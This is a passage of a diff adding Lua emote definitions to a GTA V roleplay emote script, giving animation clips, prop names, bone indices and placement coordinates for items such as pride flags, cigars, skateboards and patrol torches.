'base_club_shoulder', + 'Pride Flag 3 - Bisexual ', + AnimationOptions = { + Prop = 'prideflag3', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag4'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 4 - Lesbian ', + AnimationOptions = { + Prop = 'prideflag4', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag5'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 5 - Pansexual ', + AnimationOptions = { + Prop = 'prideflag5', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag6'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 6 - Transgender ', + AnimationOptions = { + Prop = 'prideflag6', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag7'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 7 - Non Binary ', + AnimationOptions = { + Prop = 'prideflag7', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag8'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 8 - Asexual ', + AnimationOptions = { + Prop = 'prideflag8', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['pflag9'] = { + 'rcmnigel1d', + 'base_club_shoulder', + 'Pride Flag 9 - Straight Ally ', + AnimationOptions = { + Prop = 'prideflag9', + PropBone = 18905, + PropPlacement = { + 0.0800, + -0.2090, + 0.0900, + -82.6677, + -141.2988, + 12.3308 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['old'] = { + 'missbigscore2aleadinout@bs_2a_2b_int', + 'lester_base_idle', + 'Old Man Walking Stick', + AnimationOptions = { + Prop = 'prop_cs_walking_stick', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 }, + }, + SecondPropBone = 60309, -- Left Wrist + SecondPropPlacement = { + 0.0740, + 0.0410, + 0.0090, + -127.9136, + -10.6186, + 4.7536 + }, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['old2'] = { -- Custom Animation By Darks Animations, Added To And Requested By TayMcKenzieNZ Exclusively For RPEmotes and is not to be extracted or added to another scripts and / or menus + 'zimmerframe_walk@dark', + 'zimmerframe_walk_clip', + 'Old Man Zimmerframe', + AnimationOptions = { + Prop = 'v_res_d_zimmerframe', + PropBone = 28252, + PropPlacement = { + 0.9500, + -0.6640, + -0.5470, + -122.4053, + 85.0955, + 23.1787, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['lighter'] = { + 'ebrwny_pack000', + 'ebrwny_spark', + 'Lighter - Cigar', + AnimationOptions = { + Prop = 'lux_prop_lighter_luxe', + PropBone = 26612, + PropPlacement = { + 0.0300, + -0.0360, + 0.0270, + -168.0000, + -180.0000, + 8.0000 + }, + SecondProp = 'prop_cigar_01', + SecondPropBone = 17188, + SecondPropPlacement = { + 0.0450, + 0.0130, + 0.0170, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + 0.0615, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.5 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ['lighter2'] = { + 'ebrwny_pack000', + 'ebrwny_spark', + 'Lighter - Cigar Sit', + AnimationOptions = { + Prop = 'lux_prop_lighter_luxe', + PropBone = 26612, + PropPlacement = { + 0.0300, + -0.0360, + 0.0270, + -168.0000, + -180.0000, + 8.0000 + }, + SecondProp = 'prop_cigar_01', + SecondPropBone = 17188, + SecondPropPlacement = { + 0.0450, + 0.0130, + 0.0170, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxPlacement = { + 0.0615, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.5 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ['digiscan'] = { + 'weapons@misc@digi_scanner', + 'aim_med_loop', + 'Digiscan 1 ', + AnimationOptions = { + Prop = 'w_am_digiscanner', + PropBone = 28422, + PropPlacement = { + 0.0480, + 0.0780, + 0.0040, + -81.6893, + 2.5616, + -15.7909 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['digiscan2'] = { + 'weapons@misc@digi_scanner', + 'aim_low_loop', + 'Digiscan 2 ', + AnimationOptions = { + Prop = 'w_am_digiscanner', + PropBone = 28422, + PropPlacement = { + 0.0480, + 0.0780, + 0.0040, + -81.6893, + 2.5616, + -15.7909 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['digiscan3'] = { + 'weapons@misc@digi_scanner', + 'aim_high_loop', + 'Digiscan 3 ', + AnimationOptions = { + Prop = 'w_am_digiscanner', + PropBone = 28422, + PropPlacement = { + 0.0480, + 0.0780, + 0.0040, + -81.6893, + 2.5616, + -15.7909 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cop4"] = { + "amb@world_human_car_park_attendant@male@base", + "base", + "Cop 4", + AnimationOptions = { + Prop = "prop_parking_wand_01", + PropBone = 57005, + PropPlacement = { + 0.12, + 0.05, + 0.0, + 80.0, + -20.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["copbeacon"] = { -- Added for compatibility + "amb@world_human_car_park_attendant@male@base", + "base", + "Cop Beacon", + AnimationOptions = { + Prop = "prop_parking_wand_01", + PropBone = 57005, + PropPlacement = { + 0.12, + 0.05, + 0.0, + 80.0, + -20.0, + 180.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["leanphone"] = { + "amb@world_human_leaning@male@wall@back@mobile@base", + "base", + "Leaning With Phone", + AnimationOptions = { + EmoteMoving = false, + EmoteLoop = true, + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + } + } + }, + ["hump2"] = { + "timetable@trevor@skull_loving_bear", + "skull_loving_bear", + "Hump (Bear)", + AnimationOptions = { + Prop = 'prop_mr_raspberry_01', + PropBone = 28422, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteMoving = false, + EmoteLoop = true + }, + AdultAnimation = true + }, + ["drink"] = { + "mp_player_intdrink", + "loop_bottle", + "Drink", + AnimationOptions = + { + Prop = "prop_ld_flow_bottle", + PropBone = 18905, + PropPlacement = { + 0.12, + 0.008, + 0.03, + 240.0, + -60.0 + }, + EmoteMoving = true, + EmoteLoop = true + } + }, + ["surfboard"] = { -- Emote by Molly + "beachanims@molly", + "beachanim_surf_clip", + "Surf Board", + AnimationOptions = + { + Prop = "prop_surf_board_ldn_02", + PropBone = 28252, + PropPlacement = { + 0.1020, + -0.1460, + -0.1160, + -85.5416, + 176.1446, + -2.1500 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["stealtv"] = { -- Emote by Molly + "beachanims@molly", + "beachanim_surf_clip", + "Steal TV", + AnimationOptions = + { + Prop = "xs_prop_arena_screen_tv_01", + PropBone = 28252, + PropPlacement = { + 0.2600, + 0.1100, + -0.1400, + 96.1620, + 168.9069, + 84.2402 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["beachring"] = { -- Emote by Molly + "beachanims@free", + "beachanim_clip", + "Beach Floatie Thingy", + AnimationOptions = { + + Prop = "prop_beach_ring_01", + PropBone = 0, + PropPlacement = { + 0.0, + 0.0, + 0.0100, + -12.0, + 0.0, + -2.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cashcase"] = { + "move_weapon@jerrycan@generic", + "idle", + "Cash Briefcase", + AnimationOptions = { + Prop = "bkr_prop_biker_case_shut", + PropBone = 28422, + PropPlacement = { + 0.1000, + 0.0100, + 0.0040, + 0.0, + 0.0, + -90.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cashcase2"] = { + "anim@heists@box_carry@", + "idle", + "Cash Briefcase 2", + AnimationOptions = { + Prop = "prop_cash_case_01", + PropBone = 28422, + PropPlacement = { + -0.0050, + -0.1870, + -0.1400, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cashcase3"] = { + "anim@heists@box_carry@", + "idle", + "Cash Briefcase 3", + AnimationOptions = { + Prop = "prop_cash_case_02", + PropBone = 28422, + PropPlacement = { + 0.0050, + -0.1170, + -0.1400, + 14.000, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cashcase4"] = { + "anim@heists@box_carry@", + "idle", + "Cash Briefcase 4 - Diamonds", + AnimationOptions = { + Prop = "ch_prop_ch_security_case_01a", + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0900, + -0.1800, + 14.4000, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["airportbag"] = { + "anim@heists@narcotics@trash", + "idle", + "Airport Bag", + AnimationOptions = { + Prop = "prop_suitcase_01c", + PropBone = 28422, + PropPlacement = { + 0.1100, + -0.2100, + -0.4300, + -11.8999, + 0.0, + 30.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["airportbag2"] = { -- Custom Emote By Dark Animations exclusive to RPEmotes + "suitcase_phone@dark", + "suitcase_phone_clip", + "Airport Bag 2 - Phone", + AnimationOptions = { + Prop = 'prop_suitcase_03', + PropBone = 60309, + PropPlacement = { + 0.4700, + -0.0400, + -0.3500, + -120.0000, + -180.0000, + -79.9999 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 }, + }, + SecondPropBone = 28422, + SecondPropPlacement = { + 0.1040, + 0.0320, + -0.0200, + -108.6997, + -150.5805, + 46.7080 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["airportbag3"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@single63", + "single63_clip", + "Airport Bag 3 - Pose", + AnimationOptions = { + Prop = "prop_suitcase_03", + PropBone = 58869, + PropPlacement = { + 0.2100, + 0.4100, + -0.3600, + 56.9074, + -6.1917, + -24.3334 + }, + EmoteLoop = true, + } + }, + ["megaphone"] = { -- Custom Emote By MollyEmotes + "molly@megaphone", + "megaphone_clip", + "Megaphone", + AnimationOptions = { + Prop = "prop_megaphone_01", + PropBone = 28422, + PropPlacement = { + 0.0500, + 0.0540, + -0.0060, + -71.8855, + -13.0889, + -16.0242 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["megaphone2"] = { -- Custom Emote By MollyEmotes + "molly@megaphone2", + "megaphone_clip", + "Megaphone 2", + AnimationOptions = { + Prop = "prop_megaphone_01", + PropBone = 28422, + PropPlacement = { + 0.0500, + 0.0540, + -0.0060, + -71.8855, + -13.0889, + -16.0242 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["megaphone3"] = { + "anim@rifle_megaphone", + "rifle_holding_megaphone", + "Megaphone 3", + AnimationOptions = { + Prop = "prop_megaphone_01", + PropBone = 60309, + PropPlacement = { + 0.0480, + 0.0190, + 0.0160, + -94.8944, + -2.3093, + -10.9030 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["easter"] = { + "anim@heists@narcotics@trash", + "idle", + "Easter Basket", + AnimationOptions = { + Prop = "bzzz_event_easter_basket_b", + PropBone = 28422, + PropPlacement = { + 0.0040, + 0.0400, + -0.2420, + 19.9999, + 0.0, + -10.0000 + }, + SecondProp = 'bzzz_event_easter_egg_d', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0790, + 0.0090, + 0.0190, + -120.0000, + 0.0, + 0.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["easter2"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Easter Bunny", + AnimationOptions = { + Prop = "bzzz_event_easter_bunny_a", + PropBone = 60309, + PropPlacement = { + -0.0270, + -0.0200, + 0.0100, + 62.9161, + 0.4622, + 10.8906 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bball"] = { -- Custom Emote By Struggleville + "anim@male_bskball_hold", + "bskball_hold_clip", + "Basketball Hold", + AnimationOptions = { + Prop = "prop_bskball_01", + PropBone = 28422, + PropPlacement = { + 0.0600, + 0.0400, + -0.1200, + 0.0, + 0.0, + 40.00 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bball2"] = { -- Custom Emote By Struggleville + "anim@male_bskball_photo_pose", + "photo_pose_clip", + "Basketball Pose", + AnimationOptions = { + Prop = "prop_bskball_01", + PropBone = 60309, + PropPlacement = { + -0.0100, + 0.0200, + 0.1300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bball3"] = { -- Custom Emote By Struggleville + "anim@male_basketball_03", + "m_basketball_03_clip", + "Basketball Hold 2", + AnimationOptions = { + Prop = "prop_bskball_01", + PropBone = 28422, + PropPlacement = { + 0.0400, + 0.0200, + -0.1400, + 90.0000, + -99.9999, + 79.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["bball4"] = { -- Custom Emote By SapphireMods + "mx@pose2", + "mx_clippose2", + "Basketball Hold 3", + AnimationOptions = { + Prop = "prop_bskball_01", + PropBone = 28422, + PropPlacement = { + 0.0400, + 0.0200, + -0.1400, + 90.0000, + -99.9999, + 79.9999 + }, + EmoteLoop = true + } + }, + ["ftorch"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Fire Torch", + AnimationOptions = { + Prop = "bzzz_prop_torch_fire001", -- Custom Prop By Bzzzz Used With Permission + PropBone = 18905, + PropPlacement = { + 0.14, + 0.21, + -0.08, + -110.0, + -1.0, + -10.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['ftorch2'] = { + 'special_ped@griff@base', + 'base', + 'Fire Torch 2', + AnimationOptions = { + Prop = "bzzz_prop_torch_fire001", -- Custom Prop By Bzzzz Used With Permission + PropBone = 28422, + PropPlacement = { + 0.0100, + 0.0300, + 0.0500, + 0.0000, + 0.0000, + 0.0000, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ['candle'] = { + 'special_ped@griff@base', + 'base', + 'Candle', + AnimationOptions = { + Prop = "prop_candle", + PropBone = 28422, + PropPlacement = { + 0.0200, + 0.0100, + 0.0100, + 0.0000, + 10.0000, + 0.0000, + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["watchstripper2"] = { + "amb@world_human_strip_watch_stand@male_c@base", + "base", + "Watch Stripper 2", + AnimationOptions = { + Prop = "prop_beer_am", + PropBone = 60309, + PropPlacement = { + 0.0880, + -0.1360, + 0.1450, + -102.9624, + 81.7098, + -39.2734 + }, + EmoteLoop = true, + EmoteMoving = true + }, + AdultAnimation = true + }, + ["candyapple"] = { -- Custom Prop by hollywoodiownu + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Candy Apple", + AnimationOptions = { + Prop = "apple_1", + PropBone = 18905, + PropPlacement = { + 0.12, + 0.15, + 0.0, + -100.0, + 0.0, + -12.0 + }, + EmoteLoop = true, + EmoteMoving = true, + }, + }, + ["gamer"] = { --- Custom Emote By MissSnowie + "playing@with_controller", + "base", + "Gamer", + AnimationOptions = { + Prop = 'prop_controller_01', + PropBone = 18905, + PropPlacement = { + 0.1450, + 0.0590, + 0.0850, + -164.4546, + -62.9570, + 17.5872 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["gamer2"] = { --- Custom Emote By Dark Animations exclusive to RPEmotes + "lay_controller@dark", + "lay_controller_clip", + "Gamer Laying On Stomach", + AnimationOptions = { + Prop = 'prop_controller_01', + PropBone = 18905, + PropPlacement = { + 0.1350, + 0.0360, + 0.0950, + -180.0000, + -72.9699, + 0.0000 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["study"] = { --- Custom Emote By Dark Animations exclusive to RPEmotes + "study_pc_finally_fixed@dark", + "study_pc_finally_fixed_clip", + "Study", + AnimationOptions = { + Prop = 'xm_prop_x17_laptop_lester_01', + PropBone = 28422, + PropPlacement = { + 0.1650, + 0.1010, + -0.1470, + -159.2533, + -145.7418, + -79.5760, + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["crackhead"] = { + "special_ped@zombie@base", + "base", + "Crack Head", + AnimationOptions = { + Prop = 'prop_cs_bowie_knife', -- Knife + PropBone = 28422, -- Right Wrist + PropPlacement = { + -0.1280, + -0.0220, + 0.0210, + -150.0005, + 179.9989, + -30.0105 + }, + SecondProp = 'ng_proc_cigpak01a', + SecondPropBone = 26614, + SecondPropPlacement = { + 0.010, + -0.0190, + 0.0920, + -82.4073, + 178.6009, + 29.9195 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["propose"] = { --- Custom Emote By ultrahacx + "ultra@propose", + "propose", + "Propose", + AnimationOptions = { + Prop = 'ultra_ringcase', --- Custom prop by ultrahacx + PropBone = 28422, + PropPlacement = { + 0.0980, + 0.0200, + -0.0540, + -138.6571, + 4.4141, + -79.3552 + }, + EmoteLoop = true + } + }, + ["propose2"] = { --- Custom Emote By ultrahacx + "ultra@propose", + "propose", + "Propose 2 - Valentines Day", + AnimationOptions = { + Prop = 'pata_freevalentinesday', --- Custom prop by PataMods + PropBone = 64064, + PropPlacement = { + 0.0190, + 0.0480, + 0.0110, + -9.0350, + 88.4373, + -9.8783 + }, + EmoteLoop = true + } + }, + ["propose3"] = { --- Custom Emote By ultrahacx + "ultra@propose", + "propose", + "Propose 3", + AnimationOptions = { + Prop = 'pata_freevalentinesday2', --- Custom prop by PataMods + PropBone = 64064, + PropPlacement = { + 0.0190, + 0.0480, + 0.0110, + -9.0350, + 88.4373, + -9.8783 + }, + EmoteLoop = true + } + }, + ["holdfw"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Hold Firework", + AnimationOptions = { + Prop = 'ind_prop_firework_01', --- blue, green, red, purple pink, cyan, yellow, white + PtfxColor = {{R = 255, G = 0, B = 0, A = 1.0}, {R = 0, G = 255, B = 0, A = 1.0}, {R = 0, G = 0, B = 255, A = 1.0}, {R = 177, G = 5, B = 245, A = 1.0}, {R = 251, G = 3, B = 255, A = 1.0}, {R = 2, G = 238, B = 250, A = 1.0}, {R = 252, G = 248, B = 0, A = 1.0}, {R = 245, G = 245, B = 245, A = 1.0}}, + PropBone = 18905, + PropPlacement = { + 0.1100, + 0.3200, + -0.2400, + -130.0688, + -2.5736, + -3.0631 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_indep_fireworks", + PtfxName = "scr_indep_firework_trail_spawn", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.6 + }, + PtfxInfo = Translate('firework'), + PtfxWait = 200 + } + }, + ["chillteq"] = { --- Custom Emote By Amnilka + "amnilka@photopose@female@homepack001", + "amnilka_femalehome_photopose_003", + "Chill Tequila", + AnimationOptions = { + Prop = 'prop_tequila', + PropBone = 60309, + PropPlacement = { + 0.0810, + -0.0460, + 0.0430, + -110.1784, + 2.9283, + -12.5092 + }, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["patrolf1"] = { + "amb@world_human_security_shine_torch@male@base", + "base", + "Patrol - On Foot", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 80.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["patrolf2"] = { + "amb@world_human_security_shine_torch@male@idle_b", + "idle_e", + "Patrol - On Foot 2", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 80.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["patrolf3"] = { + "amb@world_human_security_shine_torch@male@idle_a", + "idle_a", + "Patrol - On Foot 3", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 60309, + PropPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 80.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["patrolf4"] = { -- Huge thanks to MadsLeander on GitHub + "amb@incar@male@patrol@torch@base", + "base", + "Patrol - On Foot 4 Over The Shoulder", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.0, + -0.00100, + 0.0, + 0.0, + 0.0, + 90.0 + }, + SecondProp = 'prop_cs_hand_radio', + SecondPropBone = 60309, -- Left Wrist + SecondPropPlacement = { + 0.0560, + 0.0470, + 0.0110, + -43.82733, + 164.6747, + -7.5569 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["patrolcar"] = { + "amb@incar@male@patrol@torch@base", + "base", + "Patrol Car - Front", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0100, + -0.0100, + 0.0, + 0.0, + 100.0000 + }, + EmoteLoop = true + } + }, + ["pineapple"] = { -- Custom Prop by hollywoodiownu + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Pineapple", + AnimationOptions = { + Prop = "xm3_prop_xm3_pineapple_01a", + PropBone = 18905, + PropPlacement = { + 0.1, + -0.11, + 0.05, + -100.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + }, + }, + ["present"] = { + "anim@heists@box_carry@", + "idle", + "Present", + AnimationOptions = { + Prop = "xm3_prop_xm3_present_01a", + PropBone = 28422, + PropPlacement = { + 0.0, + -0.18, + -0.16, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["patrolcarl"] = { + "amb@incar@male@patrol@torch@idle_b", + "idle_d", + "Patrol Car - Left", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0100, + -0.0100, + 0.0, + 0.0, + 100.0000 + }, + EmoteLoop = true + } + }, + ["patrolcarr"] = { + "amb@incar@male@patrol@torch@idle_a", + "idle_a", + "Patrol Car - Right", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 28422, + PropPlacement = { + 0.0, + -0.0100, + -0.0100, + 0.0, + 0.0, + 100.0000 + }, + EmoteLoop = true + } + }, + ["papers"] = { + "missheistdocksprep1hold_cellphone", + "static", + "Papers", + AnimationOptions = { + Prop = "xm3_prop_xm3_papers_01a", + PropBone = 18905, + PropPlacement = { + 0.13, + 0.0, + 0.04, + -110.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["vlog"] = { + "amb@world_human_mobile_film_shocking@male@base", + "base", + "Vlog", + AnimationOptions = { + Prop = 'prop_ing_camera_01', + PropBone = 28422, + PropPlacement = { + -0.07, + -0.01, + 0.0, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["vlog2"] = { + "anim@heists@humane_labs@finale@keycards", + "ped_a_enter_loop", + "Vlog 2", + AnimationOptions = { + Prop = 'prop_ing_camera_01', + PropBone = 18905, + PropPlacement = { + 0.15, + 0.03, + 0.1, + 280.0, + 110.0, + -11.0 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["skatesit"] = { -- Custom Emote By CMG Mods + "skateboardposecmganimation", + "skateboardposecmg_clip", + "Skateboard - Sit", + AnimationOptions = { + Prop = 'taymckenzienz_skateboard01', + PropBone = 0, + PropPlacement = { + 0.0, + 0.0400, + -0.2300, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + } + }, + ["skatesit2"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@skate2", + "skate2_clip", + "Skateboard - Sit 2", + AnimationOptions = { + Prop = "taymckenzienz_skateboard02", + PropBone = 0, + PropPlacement = { + 0.0, + -0.0200, + -0.2900, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["skatekneel"] = { -- Custom Emote By DRX Animations + "drx@skateboard3", + "drx", + "Skateboard Kneeling - Male", + AnimationOptions = { + Prop = "taymckenzienz_skateboard02", + PropBone = 64064, + PropPlacement = { + 0.2000, + -0.0600, + 0.0, + -61.0100, + 4.4024, + -16.913 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["skatekneel2"] = { -- Custom Emote By DRX Animations + "drx@skateboard3", + "drx", + "Skateboard Kneeling 2 - Female", + AnimationOptions = { + Prop = "taymckenzienz_skateboard01", + PropBone = 64064, + PropPlacement = { + 0.2000, + -0.0600, + 0.0, + -61.0100, + 4.4024, + -16.913 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["skatehold"] = { + "molly@boombox1", + "boombox1_clip", + "Skateboard - Hold Female", + AnimationOptions = { + Prop = "prop_cs_sol_glasses", + PropBone = 31086, + PropPlacement = { + 0.0440, + 0.0740, + 0.0000, + -160.9843, + -88.7288, + -0.6197 + }, + SecondProp = 'taymckenzienz_skateboard01', + SecondPropBone = 60309, + SecondPropPlacement = { + -0.0050, + 0.0320, + 0.1640, + 44.6076, + -112.2983, + -86.1199 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["skatehold2"] = { -- Emote by Molly + "beachanims@molly", + "beachanim_surf_clip", + "Skateboard - Hold Female 2", + AnimationOptions = { + Prop = "taymckenzienz_skateboard01", + PropBone = 28422, + PropPlacement = { + -0.1020, + 0.2240, + 0.0840, + 5.6655, + 175.3526, + 49.7964 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["skatehold3"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@skate4", + "skate4_clip", + "Skateboard - Hold Female 3", + AnimationOptions = { + Prop = "taymckenzienz_skateboard01", + PropBone = 28422, + PropPlacement = { + 0.2780, + -0.0200, + -0.0700, + -180.0000, + 28.0000, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["skatehold4"] = { + "molly@boombox1", + "boombox1_clip", + "Skateboard - Hold Male", + AnimationOptions = { + Prop = "prop_cs_sol_glasses", + PropBone = 31086, + PropPlacement = { + 0.0440, + 0.0740, + 0.0000, + -160.9843, + -88.7288, + -0.6197 + }, + SecondProp = 'taymckenzienz_skateboard02', + SecondPropBone = 60309, + SecondPropPlacement = { + -0.0050, + 0.0320, + 0.1640, + 44.6076, + -112.2983, + -86.1199 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["skatehold5"] = { -- Emote by Molly + "beachanims@molly", + "beachanim_surf_clip", + "Skateboard - Hold Male 2", + AnimationOptions = { + Prop = "taymckenzienz_skateboard02", + PropBone = 28422, + PropPlacement = { + -0.1020, + 0.2240, + 0.0840, + 5.6655, + 175.3526, + 49.7964 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["skatehold6"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@skate4", + "skate4_clip", + "Skateboard - Hold Male 3", + AnimationOptions = { + Prop = "taymckenzienz_skateboard02", + PropBone = 28422, + PropPlacement = { + 0.2780, + -0.0200, + -0.0700, + -180.0000, + 28.0000, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["skatehold7"] = { --- Custom Emote By DRX Animations + 